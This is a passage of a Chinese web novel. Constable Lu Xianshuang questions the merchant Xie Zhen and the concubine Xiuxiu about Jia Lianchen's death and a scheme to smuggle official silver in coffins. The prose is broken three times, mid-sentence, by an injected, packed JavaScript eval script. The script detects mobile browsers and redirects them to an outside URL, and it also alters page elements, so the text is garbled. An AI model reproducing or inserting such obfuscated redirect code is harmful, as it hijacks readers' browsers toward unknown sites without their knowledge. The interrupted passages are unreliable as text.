虽然她不在意,但那些贵人却是在意的很,一场谈话中如果频频让姨娘插话,而且这个姨娘之前的出生还不光彩,对于贵人来说是一种冒犯。 茶汤第三次沸腾时,陆衔霜终于抬头,随手将狼毫笔搁在哥窑笔山上,那动作太过自然,仿佛她书案边永远该有这样一方价值连城的雨过天青色,看的谢蓁不断在心底给她加大砝码,话语组织又推翻,神色也几经变化。 陆衔霜可不知道随意一个簪子能让谢蓁联想到十万八千里开外,毕竟在她的世界里可没有什么牡丹作为皇族的专属,可能是因为大禄朝江湖势力太大的缘故吧,只要老皇帝今天敢下旨让牡丹成为皇族专属,明天就能惹得江湖大侠们上门砍了他的脑袋。 一朵花罢了,长得就是让人欣赏的,凭管你是皇帝还是百姓,都有喜欢它的权利。 至于不搭理桃花,那就更好理解了,不管怎么样,她都是利用了陆鹏,有什么误会回头他们自己说去吧,她作为师父不想掺和到晚辈的事情中,才是一个正常的好师父。 “不用显摆你的暗室。”陆衔霜对于谢蓁的行为有些无语,和小孩的玩具一样有什么好显摆的,她要动手整个宅子连根毛都剩不下。 “现在我们来说一说贾连城的事情,你究竟知道多少。”陆衔霜指尖轻轻敲击桌面上不知何时出现的一枚银锭,思考谢蓁靠着一块官银把自己引来的目的,眼神意有所指。 不得不说她确实成功了,自己这个披着捕快外衣的贼,还真就在不知情的情况下顺着她的意思走进这间宅子。 谢蓁叹了一口气,不由得苦笑:“不愧是陆捕快,什么都瞒不过您。” 她也没想到短短两天的时间,原本尽在掌握中的局势骤然变化。 之前桃花找自己表明进府之后的想好是个小偷,想要偷一点银子去拜师,将目标放在贾连城身上。 当时她就来一出借刀杀人,但看在桃花眼底对那个小偷的担心之下就放弃了这个打算,转而把想法放在小偷要拜的师父上。 谁知道大把银子撒出去,竟然得知他要拜的师父竟然是衙门里的捕快,这下两人都不敢相信,还以为哪里出了问题。 但贾连城已经好几天没有回来过了,谢蓁察觉他现在越来越没有耐心,生怕自己还没有布完局,就被贾连城出手处理掉,只能选择赌一把。 转头把一枚很久之前偷藏起来的官银放进书房暗格,借着桃花的嘴让小偷顺势取走官银,这一批银子有很大的问题,最后不论是小偷,还是小偷要拜的师父陆衔霜,但凡流通出去,或者被送到衙门,只要把谢宅曝光在衙门眼皮下,她就有机会继续和贾连城周旋。 本来一切都在按照预设的路线行进,那天衙门来人,她还很自得,结果在听到贾连城死亡的消息之后彻底变了。 贾连城死亡的时间比偷东西的时候早一天,但凡她知道,就不会这么被动,如今的一切都是白做工,威胁没了,还把自己暴露在衙门眼中。 谢蓁现在很后悔,但是无济于事,只能继续周旋,只不过对象从贾连城变成了衙门,准确的说是陆衔霜这个不知道后台底细,却十分神秘的人身上。 “这事儿要从六年前说起,那个时候我爹刚去世没多久,布庄还掌控在贾连城手里。我爹没了,我也顺势能把布庄拿回自己手里,省的老头子告我不孝。” “你没成。” 谢蓁点头:“确实没成,要不然也不会有今天的事情。” 接着说从前的事情。 “那段时间我和贾连城各有胜负,我呢,本来就是自己的产业,收回肯定比较容易。但是男人嘛,你懂得,就算你是他的亲生女儿,他照样帮着别的男人,好像那样就能洗脱掉他当年吃软饭时候收到的所谓侮辱,找回尊严。但是贾连城手里有我们家老爷子给他留下的人马,积年老仆,我处理起来也比较费事,就这么僵持了一段时间。” 说到这谢蓁情绪明显好了不止一点:“但泥腿子就是泥腿子,给他通天梯,他也爬不上那凌霄宝殿,最终还不是我更胜一筹,把他逼得只能退后后宅。入赘就要有个入赘的样子,他还以为是个长把的都能在我们家耀武扬威,我爹也就是占了长辈的名头,要不然他一个老不死的,哪敢那么放肆。” “你成功了,但是贾连城找了别的出路?”应该就是从这个时候情况急转直下的。 “没错,贾连城当了一段时间东家,已经享受过被人奉承的滋味,哪里舍得退回一开始什么都没有,要看别人眼色行事的时期。”谢蓁语气嘲讽,不知道是在说贾连城,还是在说叶老爷子。 “他那段时间去了一趟路梧州,说是散心。” “你就让他出门啦?”陆衔霜已经猜到贾连城就是那个时候搭上了所谓的贵人。 谢蓁苦笑:“事情没有发生的时候谁都知道日后会那样,赘婿和其他家的主母没有任何区别,花点小钱出门游玩很正常。” “那后来呢?”不知道什么时候桃花带着女孩离开,屋子里只剩下陆衔霜和谢蓁两个人。 “后来贾连城在第三天的时候回来了,但是情绪很不对劲,把自己锁在屋子里谁也不见。”谢蓁陷入回忆中,“我现在还记得他那天的神情,脸色苍白,眼眶凹陷,眼白的地方全是红血丝,乍一看还以为眼珠子泡在血水里。我进去的时候他就躲在床最里面,胳膊抱着自己,脖子缩起来,看到我进去还要发脾气,结果我比他脾气更大,才把他的嚣张气焰压下去。” 说着谢蓁看向陆衔霜:“陆大人,你见过被打猎射伤的小动物吗?躲起来就是贾连城当时的样子,惶惶不安,浑身发抖,眼神到处乱窜,生怕从哪再窜出来一根箭羽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15886687|176002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要了他的命。” “之后贾连城便重新接手了布庄。”陆衔霜言语笃定,谢蓁点头。 “你说的没错,之后几天过去,贾连城恢复好了之后,就强行把布庄抢了过去,叶宅也换成了贾宅,生意场上但凡我出手,就没有人和我做生意,哪怕从前和我母亲关系很好的几位长辈,在上头人压下来之后,也只是让我静待时机,暂时不要硬碰硬。” “你知道对你出手的人是谁?” “您太高看我了,像他们那样的大人物,随便表示一下对我的不满,下面就有的是人替他们出头。我不知道,但是我知道那段时间布庄生意好的不正常,就算把整个路梧州的布料生意都给他做,账本上的数字也不可能有那么多。” “你知道贾连城付出什么代价才得到对方庇护的吗?”陆衔霜没问谢蓁为什么不报官,六年前她养父母先后去世,谢清晏回望月台述职,之后返回来的路上遭遇追杀,差点死在半路上。 贾连城能够拿到那么多地好处,他一定在背后付出了更多的东西,但他一个入赘的穷小子哪来那么多钱呢,就只剩下最后一种可能——把柄。 被对方捏着把柄,做高位的走狗,自己借着对方的势在外耀武扬威,这是很多官员和门下走狗的真实写照。 贾连城想要出手当走狗,也要看对方缺不缺他这一个,他唯一能够作为交换的就是良心,一个有污点,为的目的不择手段,无所不用其极,同时又能被掌握的走狗,实在是个很好用的工具。 几乎谢蓁一说陆衔霜就懂了,但她不能可能其中有没有谢蓁的推手,还有她究竟知不知道。 漫不经心端着茶杯悠悠打转,目光好像全放在指尖的茶杯花纹上,暗中作为盗圣眼观六路耳听八方,没有错过谢蓁脸上每一个细微的表情。 瞳孔微缩,抬手整理发丝没有任何凌乱的头发,还有微微缩回去一点的脚步,无不说明她知道一些内情,说出口的话却是南辕北辙:“我就是一个妇道人家,能够在他死后挣一份生路已经很是难得,怎么会知道官老爷的事情。” 装模作样一脸假笑,是商人惯用的表情,和之前相比,脸上好像带了一个面具。 陆衔霜知道她知道一些内情,也知道谢蓁知道自己知道她知道一些内情,但是她现在的分量不够,不够谢蓁能够保证自己说出秘密之后还能活着,所以她在等,等陆衔霜暴露自己的身份筹码,或者那位家世惊人的谢大人出手。 陆衔霜……她有个屁的筹码,簪子是嫂子送的好吧。 这就没辙了,能掺和到官银这么大的案件中,小喽啰被灭门太正常了。 更何况谢蓁手里能截下一锭官银,就说明贾连城曾经插手过路梧州知州洗黑钱的勾当。 不对,应该是洗官钱,银子是朝廷的,但是据说新铸官银的奏折是四王门下官员呈上去的,谁知道这里头他们究竟干了多少不能说的事情。 谢蓁担心自己说出去之后被灭门,陆衔霜表示理解,她不能因为想要破案,就不顾别人的死活,最起码现在看来,谢蓁在整个案件中还算清白。 “今天就到这里吧。”陆衔霜知道今天的话就到了这里,起身离开,谢蓁亲自把她送到大门口,临了来了一句:“陆大人,这个世道要站在高处才能够得到真相,你还小,可千万被着相呐。”意有所指的话,让陆衔霜看了她一眼,“多谢谢当家好意,告辞。”接着抱拳跨马远去。 谁知道在第二条街被人拦住,来人扶风弱柳,腰肢好似水做的一般,带着帷帽看不清脸,只能凭借走动间的动作觉得很熟悉。 等在陆衔霜马前站定,嫌弃帷帽,陆衔霜艰难地从脑海中扒拉出一个称呼:“秀秀姨娘?”这不是贾连城买的第一个小妾,生下长子,从院子井里拖出来马夫尸体的秀秀姨娘么,她来找自己干嘛。 14. 第14章 陆衔霜斜睨着眼前这个浑身透着寻死意味的女人,指尖在马鬃里漫不经心地绕了两圈。 马儿还哼哼唧唧对她刚才的粗鲁表示不满,只能拍了拍小家伙的头,从鞍后布兜摸出把黄豆递上去,马儿湿热的舌头卷走掌心的豆子时,喷了她满手带着草腥气的吐息。 “好哄的小家伙。”她笑骂着又掰开个苹果把果核掏去,果肉在晨光里泛着蜜色,马齿咔嚓咬下去的瞬间,黏稠汁液溅上绣着缠枝纹的袖口。 小家伙嚼得耳朵都欢快地直扑棱,却在对上秀秀姨娘时突然别过头,铁蹄故意碾着碎石路转了个弯,生生把坐在背上看向秀秀的陆衔霜带着转个了个弯,离她远了好几步。 秀秀见那马儿甩头就走,蹄铁在青石板上敲出一串脆响,顿时慌了神,还以为是陆衔霜的不耐烦了,当即提着裙裾追了两步,绣鞋绊在凸起的石缝里险些栽倒,发间银簪坠着的流苏簌簌乱颤。 “陆大人且慢,妾有要事禀报~”尾音被迎面而来的风撕得破碎,她徒劳地伸手去够马鞍后飘扬的布带,却只抓住几缕掺着草屑的暖风。 又追了两步,秀秀姨娘身子突然一歪,马儿已经离自己有好一段距离,秀秀在倒地的瞬间用手捂着脸,以免地上的石子儿划伤这张美人面。 就在她已经绝望的时候,忽然感到腕间一热,紧接着腰间紧紧被一只手握住,硬生生将她整个人拎起来,放到地上。 陆衔霜的指尖带着马缰绳磨出的薄茧,像一截刚从火炉里被烤炙地通红的铁似得箍住她摇摇欲坠的手腕和腰肢。 那力道大得惊人,生生将人从狼狈的趔趄之势拽成了一株挺拔的竹子,桃红撒花裙摆在空中划出半个慌乱的圆弧,竹林又马上变成满树桃花纷纷扬扬。 秀秀惊魂未定地抬头,正撞进一双平静的眼睛。 陆衔霜全程连腰都没弯,只漫不经心伸着胳膊,仿佛拎住的不是个活人,而是随手接住片被风吹落的残叶。 马儿在一旁嚼着没吃完的苹果核,咔吧脆响里混着一声几不可闻的冷哼。 一人一马默默不语,惊慌过后秀秀娇滴滴站在陆衔霜身边,指尖反复绞着绣了嫣红色桃花的帕子。 那方丝绢早被冷汗浸得发潮,金线勾的花蕊在她指间皱成一团乱麻。 她时而朝喂马的陆衔霜看一眼,时而又低头盯着自己的鞋底,头上的帷帽早已跌落,鬓边一支累丝金簪随着她的动作轻颤,在粉墙上投下支离破碎的光斑。 喉间几次滚出气音,却都在瞥见树下陆衔霜冷峻的下颚角时噎了回去。 小家伙连吃了三个苹果,五把豆子,一壶水,咧着一口大白牙笑的灿烂,午时正是炎热的时候,陆衔霜有些不耐,转身盯着秀秀的脸看了片刻,突然笑出声:“姨娘倘若真犹豫,此刻该在佛堂诵经。”她伸手拂去对方肩头落花,指尖沾了丝颤抖的凉意,“回去吧,贾老爷刚走没多久,你现在出来被发现讨不了好。” 陆衔霜见过形形色色的人,她知道通常情况下死了老爷的姨娘日子不好过,担忧之下做出点什么事情也是有的,但是眼前的这个,她在对方身上闻到一种同类的味道。 不是偷,而是下九流,那中故作犹豫,坐地起价的架势,是下九流身上特有的味道,只有经年累月的打磨,才能成就如今浑然天成的姿态。 秀秀在装模作样,准确的说她在伪装,这是一种底层人在需要完成一个复杂的目的前,以自己为媒介浸透在一场虚假的表演中,惯用的行为。 一番唱念做打,最直白的目的就是为把陆衔霜当刀子使,毕竟如果只是单纯的想要提供线索,就算她不敢往衙门去,拦住自己之后都不会显得这般犹豫。 还有最关键的一点,秀秀是怎么能够这么清楚她一定会走这条路呢,陆衔霜瞬间将警惕提高到最顶端,行走江湖最忌讳小看老人女人和孩子。 尤其是一个柔弱女子,张口嗓子便好像甘泉一般泛着甜:“多谢陆大人关心,夫人那里妾已经提前报备过了,今日妾出门上香,偶然遇到您,想起一些事情,不知道该不该告诉您。” “走吧,找个安静的地方。”陆衔霜懒得掰扯试探,把缰绳递给附近茶棚的老丈,自顾自坐在茶棚一角。 那茅草搭的棚顶耷拉着几缕枯黄的穗子,活像癞痢头上没薅干净的杂毛。油腻腻的方桌腿边堆着啃剩的瓜皮,招来三两只绿头蝇嗡嗡打着转。 秀秀跟了几步之后在茶棚外三步远的地方站定,等了一会没等到自己想要的答案,用力咬了一下后槽牙,只能忍了。 她假装整理腰间禁步的丝绦,实则用绢帕虚掩着鼻尖,来阻挡风里飘来的霉味里混着劣质茶末的涩气,柜台后头掌柜的围裙斑驳着可疑的酱色,抬手擦汗时袖口蹭过的那块抹布,黑得能腌出二两咸菜来,秀秀没忍住侧头干呕了几声,嫌弃的目光让老汉尴尬后退两步。 偏生陆衔霜就跟看不见似得,头上簪子轻轻晃着,已经大马金刀坐在条凳上台起一只脚,胳膊搭在膝盖上,粗瓷茶碗在她指间转得轻佻,倒衬得秀秀捏着裙角不敢落座的模样,愈发像只误入腌臜地的锦毛雀儿。 见她过来,还把茶壶往这边推了推:“喝点?还是给你换一壶别的茶?” “多谢陆大人,但是不必了。”陆衔霜话音刚落,秀秀就赶紧拒绝,话说完才感觉自己说的太快,连忙要解释,被陆衔霜打断:“那就直接说正事儿吧,你知道点什么?” 秀秀咬着下嘴唇,“大人,您能保证妾今日的话没有第三个人知晓吗?” “那当然不能,我们捕快办案,整个衙门的人都能知道案情进展。”开什么玩笑,就咱俩知道,回头你往外胡说八道,老娘这个捕快还不得被你诬告呐。 陆衔霜全程冷淡如山,一点多余的表情都没有,成熟的好像一个久经沧桑的几年老捕快,谨慎娴熟的样子十分令人心酸就是了。 “可是夫人那里……”秀秀欲言又止,陆衔霜懂了。 “这个你放心,凶手没有抓到之前,除了衙门中人,不会有其他人知道证词和细节。”凶手我们知道是谁,现在就看你要让我们以为凶手是谁了,陆衔霜象征性安抚了一下秀秀的情绪,让她不要有顾虑,之后好整以暇等着她怎么把脏水泼到谢蓁身上。 现在她还记得初次登门时谢蓁被孩子们围在中间一脸满足的样子,当天秀秀穿的十分朴素,一副沉默寡言的样子,没想到今日再见,她已经打扮的十分精致好看,眉眼也飞扬着一股名为快要熬出来的喜悦。 她究竟想要干什么呢。 结果瓜子花生和一摊烧刀子刚就位,就听见一个惊天大瓜:“大人,关于老爷的死,夫人很有大可能是凶手。” “这么笃定?证据呢?” “因为老爷的母亲早逝,是因为叶老爷子的缘故。”秀秀神神秘秘抛下这么一句话,陆衔霜蹭的一下把腿放下来,身子前倾,盯着她的脸,不放过任何一个细微的表情。 秀秀不躲不避,眼睛直勾勾和陆衔霜对视,最先还是陆衔霜率先败下阵来,没办法,她实在有点顶不住秀秀姨娘那欲拒还迎好像刚从河里泡过的眼珠子,鸡皮疙瘩都起来了。 陆衔霜手指在桌子上有规律敲击,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15893976|176002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仔细和我说说。” 秀秀大喜,这把稳了,“您可知道老爷为何要纳妾吗?” “你直接说,别卖关子。”陆衔霜有点烦,这都什么跟什么,直接说不就得了呗,非要反问她,不知道的还以为她是捕快呢。 “大人您见谅。”秀秀不好意思笑了一下,很快调整好自己的情绪,“妾从前也是好人家的女儿,后来家里出了变故,只好卖身葬父,被老爷买了回去,老爷是妾的恩人,如今去了,虽然夫人也对妾和孩子很好,就算没了道义,也要为老爷分辨一番,只求能够找出真凶。” “这事儿你是怎么知道?” “老爷说的,有一次老爷喝多的时候说的,他那晚哭的像个孩子,说叶老爷子不喜欢老夫人跟着老爷生活,所以让下人送去一碗汤。那碗汤……老夫人喝得一滴不剩呢。” 秀秀掀起袖子露出白皙的手腕,给陆衔霜空掉的碗里续满酒。 “那碗汤叶老爷子亲自盯着厨娘熬的,说是补气血的珍品。结果第二天早晨老夫人就没醒来,仵作来了也只说是上了年纪,心悸而亡。” 说到这儿她突然抓住陆衔霜的手腕,“您可知道,那个仵作没多久就跟着捕头高升去了路梧州衙门当值?红枣核里能藏砒霜!老爷时候曾经试图寻找过在老夫人身边的丫鬟,可惜丫鬟早一步被叶老爷子发卖出去。还是后来花了大价钱询问那个仵作,才得知老夫人死的并不安详!” 秀秀姨娘的话犹如一口大钟落在平静的湖面上,砸出一个滔天巨口。 陆衔霜听完之后面无表情,“贾连城是赘婿,为什么非要带着寡母住在入赘的家里,他母亲的死,难道不是因为他这个做儿子的没本事吗?” 不论贾母的死因究竟为何,从来也没见过有人入赘还带着家人一起的,以他入府之后的待遇看,明显有银子能把老母亲安置在外,再顾几个丫鬟婆子伺候,也是孝顺了,为什么非要带着寡母寄人篱下呢。 秀秀一脸不赞同,看陆衔霜的眼神好像在说她怎么这么不孝顺:“寡母跟着儿子生活岂不是很正常。” “呵,他是入赘,我可从来没有听说过哪个小媳妇带着爹娘住在夫家的道理。” “嫁出去的女儿泼出去的水,那当然不一样了。” “男子汉顶天立地,贾连城他只是个赘婿!”陆衔霜纳闷了,莫非秀秀姨娘卖身葬父,还真就卖出真感情了?“你不会真的喜欢贾连城吧?”她听陆鹏说过贾连城,长得也不好看啊,就很普通的一个中年男人,如果不是入赘之后有了银钱,扔到人群中压根不起眼的那种,肥头大耳,肚子大的看不到脚,这样的丑八怪有什么好值得替他说话的。 要她看,摊上谢蓁那么一个大度的主母,养着赘婿和小妾生下来的孩子,赘婿又死了,她们一帮女人凑在一起过日子,岂不是美滋滋。 也不知道这个秀秀姨娘图什么,费这么大功夫拦住自己,难不成真的就是真情难得,为了一跟烂黄瓜忠义难两全? 陆衔霜不懂,并且大为震撼,要知道这事儿最后不管怎么样,她突然要查一个死了好几年的老夫人的往过,以谢蓁那人的脑子肯定能够联想到今天秀秀姨娘出门上香的时机太过巧合,秀秀姨娘难道不担心他儿子吗? 就算真是叶老爷子做的又怎么样呢,人都死了,按照秀秀姨娘的话说,杀害贾连城的凶手是谢蓁,因为叶老爷子杀了贾母。 “你说杀害贾连城的凶手是谢蓁,因为叶老爷子杀了贾母,谢蓁要为叶老爷子报仇,既然如此,她为什么要替叶老爷子报仇,叶老爷子的死莫非也不是正常死亡?” 15. 第 15 章 叶老爷毒杀贾母,谢蓁杀害贾连城,原因呢?逻辑链不完整,总不能父女俩单方面喜欢虐杀别人吧。 如果是为父报仇,那么又是谁杀了她的父?贾连城作为一个寡母带大的儿子,在确切的知道岳父杀了寡母之后,他又做了什么。 话又说回来,叶老爷子因为一个赘婿带着寡母上门客居就痛下杀手,既然如此,当初他为什么要同意对方上门呢,反正是入赘,直接让贾母在外居住不就得了吗。 显然无论哪一条都有许多说不通的道理,但是鉴于双方当事人已经全部离世,他们自然不能完全将事情全貌恢复。 秀秀姨娘来之前显然没有把事情完全捋顺,或者说她在刻意隐瞒了一些什么,导致话有些颠三倒四,陆衔霜倒是更倾向于她在刻意隐瞒,这种刻意隐瞒不是一直藏着掖着,而是适当露出一些破绽,在接下来的询问当中“被迫”坦白,以提高事情的真实性。 下九流嘛,惯用的招式,她以前刚入江湖的时候,也是这幅臭德行,当然啦,倒是没有秀秀姨娘这么扶风弱柳。 这就更有意思了,按照秀秀姨娘的话,她一个好人家的姑娘,为什么行事作风和下九流没有任何区别呢,那种骨子里腌入味儿的膨胀野心,势力精明的味道,陆衔霜走江湖十几年,绝对不会认错。 “妾,妾不知道。”秀秀姨娘低头绞着帕子,肩膀一颤一颤,就差把手足无措四个大字贴在脑门上了。 陆衔霜当即冷笑:“你知道,你知道是贾连城杀了叶老爷子,所有你以为谢蓁要为叶老爷子报仇。” 她话还没说完,秀秀姨娘就猛地抬起头,眼底一副很震惊的样子,好像在说你怎么知道,察觉到自己动作太大暴露了,又赶紧把头低下,帕子遮脸带着哭腔,不断摇头说自己什么都不知道,只是可怜老爷走的早,留下他们孤儿寡母,如今都不知道该怎么办了。 “孤儿寡母?上次我看谢蓁对你们母子俩挺好的呀。” 陆衔霜对于谢蓁的称呼让秀秀姨娘心脏猛地一沉,不对贾夫人,也不是叶蓁,而是随她那早死的娘,曾经谢宅真正的主人,谢老夫人的姓,叫她谢蓁。 一瞬间秀秀姨娘想了很多,快速在脑海中重复那天陆衔霜和陈明上门时候的所有细节,最后终于提着半口气得出结论,她们二人之前并不认识。 “谢蓁?”秀秀姨娘满脸困惑。 “你不知道吗,叶老爷子和贾连城一样也是入赘的,谢蓁才是谢宅原本的主人,如今也算是完璧归赵,一切都回到正轨。”陆衔霜也瞪大双眼,好像在说这么重要的事情贾连城竟然没有告诉过你。 秀秀姨娘咬了咬牙,这个小捕快的脑子究竟怎么长得,你管它原来是谁的宅子,现在大家都叫贾宅,那就是贾宅,你多什么嘴。 可惜她再不乐意,陆衔霜年龄再小,身份在这儿摆着,也得好声好气维持和睦,哪怕是表面上的。 “不知道,老爷当初带妾回去的时候,宅子上面的牌匾就已经是贾宅了。” 那不是废话,贾连城如果没有展开吃绝户第一步,他也不敢以入赘之身带小妾回家不是。 陆衔霜心底切了一声,面上不动声色:“好了,我们不说这个,本来就是谢蓁的东西,还是说一说贾连城的死因吧。” 一句话又把秀秀姨娘噎的够呛,拳头藏在桌子下仅仅攥着,这个陆衔霜脑子是不是有毛病,什么叫本来就是谢蓁的东西,如果没有老爷的渠道,有缘布庄早就关门大吉了,凭什么都是她谢蓁的! “对,老爷的事情,妾知道夫人一直以来对老爷不满,可到底一夜夫妻百夜恩,她,她怎么能痛下杀手呢!”秀秀姨娘说哭就哭,眼泪比泉水涌出来的速度还要快,陆衔霜喝酒的功夫,她手上的帕子已经被浸湿了,眼眶染上一圈粉红色,时不时抽气声传来,却连一点鼻涕都没有,陆衔霜不由得叹一句好功夫。 “贾连城是怎么杀死叶老爷子的?” “老爷……大人!”秀秀姨娘嘴巴微张,反应过来之后急忙抬手用帕子遮住,想说什么又顾忌着,眼神四处乱窜,在发现周围没人之后才轻轻拍着胸脯吐出一口气。 “大人,您在说什么,妾有些听不懂。” “秀秀姨娘,现在最关键的难道不是你们老爷的死因吗?我知道说这些是在往你伤口上撒盐,但是你认真想一想,如果贾连城还活着,你说出来他讨不了好。但是他现在死了,一切都尘归尘土归土,死人是没有办法被审判的。现在眼下最重要的事情是贾连城的死因,我们需要证据,需要杀人动机,你隐瞒的恰恰是最关键的杀人动机。” 陆衔霜暗自感叹一番自己也是有表演天赋的人,回头去梨园转一圈,说不定被哪家班主看上,还能扮上唱一回戏呢。 “这,我不知道事情这么严重,老爷,我差点害了老爷啊,多谢大人!”秀秀姨娘说着就要下跪,陆衔霜实在不耐烦和她演戏,一只手如同钳子一般攥着她的胳膊让她不能动弹,看眼着眼眶一红又要哭,赶在她表演之前率先开口:“想通了就好,你早点说清楚,咱们能找到杀害你们老爷的凶手。” 找个屁,我们知道是谁,我倒要看看你准备怎么往谢蓁头上泼脏水。 “妾不知道老爷是怎么杀死的叶老爷子的,但是在妾怀孕那天夜晚,老爷在屋里的牌位上祭拜老夫人,说贾家有后又给她报了仇,让老夫人安息。”秀秀姨娘怯生生说着话,眼珠子不断乱动,一副在回忆过往的样子。 “他没和你说过具体怎么报仇的吗?” “大人您说笑了,这种要紧的事情,就算老爷说,妾也不敢听呐。”秀秀强笑,垂下眼有些不自在。 “你是怎么怀疑到谢蓁头上的,我的意思是说距离叶老爷子过世已经六年之久,这六年里难道谢蓁近期才找到机会吗?” “是老爷,是老爷去世前一段时间,来到妾屋里以后动不动就发呆,有时候半夜会做噩梦惊醒,说一些来了,报应之后的梦话,看向正院的眼神十分可怖。”秀秀像是想起什么令人害怕的事情,缩着肩膀往角落靠墙的地方挪了挪,在看到墙角漆黑脏污的时候僵硬停下。 那不是废话么,陆衔霜心底的小人痛快地拍了一个巴掌,贾连城与虎谋皮就要做好以身饲虎的打算,最近谢清晏他们保皇党一脉和四王一脉已经剑拔弩张到当面杀人的地步,贾连城一个走狗在这个关头被放弃简直再正常不过。 陆衔霜自然是知道杀死贾连城的凶手究竟是谁,她听从谢大人的吩咐走一遭,做出查案的模样,也是为了迷惑那位知州 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15898818|176002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大人,向他们表示目前还不知道是他们的人痛下杀手。 她以为随意走个过场就完事儿了,谁知道半路竟然窜出来一个秀秀姨娘,她真的是为了贾连城报仇吗,还是有别的想法。 想到这儿,陆衔霜唾弃一把自己的看好戏的行为,猝不及防之下问了一句:“那个从你院子井里拖出来的马夫尸体当初是什么情况?” 陆衔霜的话音刚落,空气仿佛瞬间凝固。 秀秀的手指已经触碰到茶杯边缘好一阵,她都没有发觉,只青白着一张脸愣愣看着陆衔霜,眼底情绪十分汹涌,胸膛一颤一颤,偶尔能够透过发丝看到腮帮子发颤,猜测她是否咬定后槽牙的缘故。 陆衔霜对天发誓,她从前就是个贼祖宗,真没有当捕快的天分,问这句话纯属是为了看秀秀姨娘的好戏,出一口她拿自己当刀子使的气,绝对没有任何对于案件的神来之笔,绝对是非常真实的意外之喜。 说来惭愧,她觉得自己需要检讨一下,在提前得知凶手的前提下,走这一遭她就当放风了,本来就是听个热闹。 谁成想先是出来一个疑似有仇的老丈人和岳母,接着又连马夫的身份都很不对劲的样子。 眼瞅着秀秀姨娘这一副魂飞天外的模样,和她说那马夫是个登徒子才是糊弄人呢。 陆衔霜窃喜,这一刻她终于从贼祖宗的身份缓慢地朝着捕快这一头颤颤巍巍探出一只脚来,嘿,还真别说,这种智珠在握的感觉,怎么还有点美滋滋呢。 陆捕快决定暂时抛弃一下盗圣的身份,把脚从条凳上放下来,空了的酒坛子拎到桌子下面,喝了口茶涮了涮嘴里的酒味儿,被也挺拔了起来,“那个马夫姓甚名谁,为什么会出现在你的院子里,你们之前认识吗?”其实她更想问,贾连城死亡的第二天出现在她屋里的男人是谁,可惜没有证据,问出口容易被倒打一耙。 秀秀抖了下身子,猛地回神,眉眼间很快和脸上的情绪达成一致,只剩下恐惧,颤抖着声音小声道:“我不认识那个人,我也不知道他是怎么出现在院子里的,老爷说他是登徒子,想要非礼我,却不小心跌进井里。” 陆衔霜挑眉,“哦?死了一个人也没有报官,你就不觉得奇怪吗?” 茶棚里陷入一片寂静,除了不远处老丈的炉子上烧着水滋滋作响外,只怕唯有秀秀的心跳声堪堪相较一二。 “老爷说传出去对我名声不好,万一被夫人发卖就不好了。”秀秀用力吞咽口水,两只手抱在胸前,好像又回到那令人绝望的一天。 虽然嘴还是很硬,但神态却暴露出不少的信息,尤其是在她都没发现的时候,在有关马夫的话题上,秀秀姨娘抛弃了“妾”这个称呼,自称“我”。 她认识那个马夫! 陆衔霜不知道要不要戳破这个信息,想了想自己经验不足,还是回去找能管事儿的人,只能假装没发现,暂时略过这个话题:“那你知道贾连城是怎么处理马夫尸体的吗?” “暴毙,他给,马夫办了葬礼,理由是暴毙,还专门买了棺材,棺材拉出城,至于之后去了哪里,我就不知道了。” 秀秀一句话中断好几次,捂着心口的手白的透光,偶尔停顿的空挡缓慢又大口地喘气,好像胸口有一把剪刀在来回翻搅。 16. 第 16 章 陆衔霜回衙门的时候已经日落西山,她径直走到二堂,一看谢清晏果真在这儿,旁边还有一个终于醒酒,自从她走进来小眼神一撇一撇的刘啸虎,进门随便找了个地方大马金刀往那儿一座,带着一身酒气冲着刘啸虎吹了一声响亮的口哨:“呦,二哥终于醒了?”然后把这次得到的消息说了一便。 她还没当回事儿,等着谢清晏指使一番下一步该怎么糊弄人,就见对面两人突然对眼一眼,然后激动的站起来了。 “东西在棺材里!”刘啸虎和谢清晏终于明白为什么这么长时间都没有找到一丝一毫对方运送官银的渠道,他们把官银藏在了棺材里,假借出殡的名义运送官银。 在这个喜事和丧事迎面相遇的年代,喜事也要退后一步,以表达死者为大的尊重。 开棺戮尸与挖人祖坟没有任何区别,所有的路线都查过了,就连婚礼轿子都派嬷嬷一一验过,只有棺材从来没有人验过。 陆衔霜听明白了,“你们是说官银是通过棺材往外运送的?”还是有点不懂,“可官银有定数,就算后来流入民间没了印记,可该是多少还是多少,总不能四王有银矿吧?”她一开始只是胡说八道,却看见对面两个人随着自己说话的内容而露出一股名为愤恨的表情,顿时惊呆了,“你们别告我还真有王爷敢私自加铸官银?” 